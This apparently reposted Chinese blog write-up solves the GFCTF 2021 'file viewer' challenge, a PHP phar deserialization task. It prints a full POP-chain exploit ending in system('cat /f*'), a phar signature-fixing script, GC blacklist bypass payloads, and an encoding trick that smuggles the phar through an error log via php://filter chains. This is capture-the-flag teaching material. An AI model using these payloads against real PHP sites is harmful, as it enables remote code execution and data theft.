[GFCTF 2021]文件查看器


前置知识

可调用对象数组对方法的调用

我们先来看下面源码

<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            ($this->password)();
        }
    }

链子很简单,就是__destruct() -> check()
但是关键点在于给password变量赋值check后并不能调用类中的check(),因为

check() != this->check()

解决办法就是利用PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力,使得可以在一个变量(或表达式)后面加上括号直接调用函数。
可调用数组的构造我们简单测试下

<?php
highlight_file(__FILE__);
class A{
    public function check(){
        echo "<br>check!!!";
    }
}

$a=[new A(),"check"];
$a();

发现成功调用
在这里插入图片描述

GC回收机制

简单给个示例

<?php
class Start{
    public $errMsg;
}

class Crypto{
    public $obj;
}

$a=new Start();
$b=new Crypto();
$a->errMsg=$b;
$A=array($a,NULL);
echo serialize($A);

利用数组对象占用指针(改数字)实现提前触发__destruct()方法绕过黑名单检测

//修改前payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:1;N;}
//修改后payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:0;N;}

phar修改签名

用010创建十六进制文件,然后将phar内容复制进去,手动修改内容后需要重新计算签名
不同签名格式对应不同的字节数,本题是sha256
在这里插入图片描述

脚本如下

from hashlib import sha256
with open("hacker1.phar",'rb') as f:
   text=f.read()
   main=text[:-40]        #正文部分(除去最后40字节)
   end=text[-8:]		  #最后八位也是不变的	
   new_sign=sha256(main).digest()
   new_phar=main+new_sign+end
   open("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

解题步骤

dirsearch扫出来有源码泄露
在这里插入图片描述
Files.class.php

<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

可以得到用户和密码为admin,admin

Myerror.class.php

<?php
    class Myerror{
        public $message;

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

会发现题目会将报错信息写到/log/error.txt

Files.class.php

<?php
    class Files{
        public $filename;

        public function __construct(){
            $this->log();
        }
        
        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }
        
        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
	echo "这合理吗";
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);
            }
            if(!empty($contents)){
                return $contents;
            }else{
                die("该文件不存在或者内容为空");
            } 
        }

         public function log(){
            $log=new Myerror();
        }

        public function __get($key){
            ($key)($this->arg);
        }
    }

read()方法可以查看文件然后调用getFile()方法,先是读取文件,然后黑名单检测其中包括phar伪协议,然后写入文件

思路很简单,就是phar伪协议读取文件,首要解决的就是如何上传phar文件,这里我们可以利用报错日志error.txt,phar内容当成文件名传入,那么error.txt就会出现我们传的内容,如果我们再利用伪协议和特殊的过滤器去读取error.txt,即可实现得到序列化的字符串;第二个解决的问题就是如何绕过黑名单,直接GC回收机制绕过即可
在这里插入图片描述

class文件整理如下

<?php
    class User{
        public $username;
        public $password;
        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }
    }
    class Files{
        public $filename;
        public function __get($key){
            ($key)($this->arg);
        }
    }

    class Myerror{
        public $message;
        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

分析一下

  1. 链子出口是Files.__get()存在命令执行,往前推到Myerror.__tostring()调用不存在属性
  2. 再往前推到User.check(),而这里的调用就要用到前置知识的可调用对象数组

pop链

User类利用可调用对象数组 -> User.check() -> Myerror.__tostring() -> Files.__get()

exp如下

<?php
class User{
    public $username;
    public $password;
}
class Files{
    public $filename;
}

class Myerror{
    public $message;
}

$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后生成phar文件,010打开手动修改为0
在这里插入图片描述
重新计算签名得到利用的phar文件

然后就是如何利用伪协议和过滤器读取
如果只是简单的base64编码,会出现报错,因为读取的是整个error.txt文件(还包括其他非编码的字符),构造过程如下

utf-16le

当utf-8转换为utf-16le时,每一位字符后面都会加上一个\0,这个\0是不可见的,当将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,否则变为乱码

那么我们是否可以利用utf-16le来标记我们的payload,然后解码只对我们payload解码(其他变成乱码),然后再base64解码。不过这个被过滤了,我们可以用UCS-2编码(区别在于\0在前面)
UCS-2编码

UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序)

lanb0
=>
\x00l\x00a\x00n\x00b\x000

那么下一步就是如何构造\0,因为是不可见字符,所以引入Quoted-Printable编码
Quoted-Printable编码

“Quoted-Printable"编码的基本原则是:安全的ASCII字符(如字母、数字、标点符号等)保持不变,空格也保持不变(但行尾的空格必须编码),其他所有字符(如非ASCII字符或控制字符)则以”="后跟两个十六进制数字的形式编码

lanb0\n
=>
lanb0=0A

整个流程如下

测试数据:test
base64编码:dGVzdA==
加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D

上传后:
垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据
解码:
垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据
UCS-2转UTF-8:乱码dGVzdA==乱码
base64解码:test

加密脚本

<?php
$a=file_get_contents('hacker1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('hacker.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('hacker.txt',preg_replace('/=\r\n/','',file_get_contents('hacker.txt')).'=00=3D');//解决软换行导致的编码结构破坏

注:在 Quoted-Printable 编码中,为了防止编码后的字符串过长,通常会在每76个字符后插入一个软换行,也就是 = 符号加上一个换行符。

将得到的加密字符串输入,然后访问/log/error.txt
在这里插入图片描述
接下来就要用到伪协议和过滤器(后面步骤要点击重写文件)
解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

在这里插入图片描述
解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

在这里插入图片描述
解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

在这里插入图片描述
可以看到我们序列化的结果,最后用phar伪协议读取即可

phar://log/error.txt

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_73512445/article/details/134955296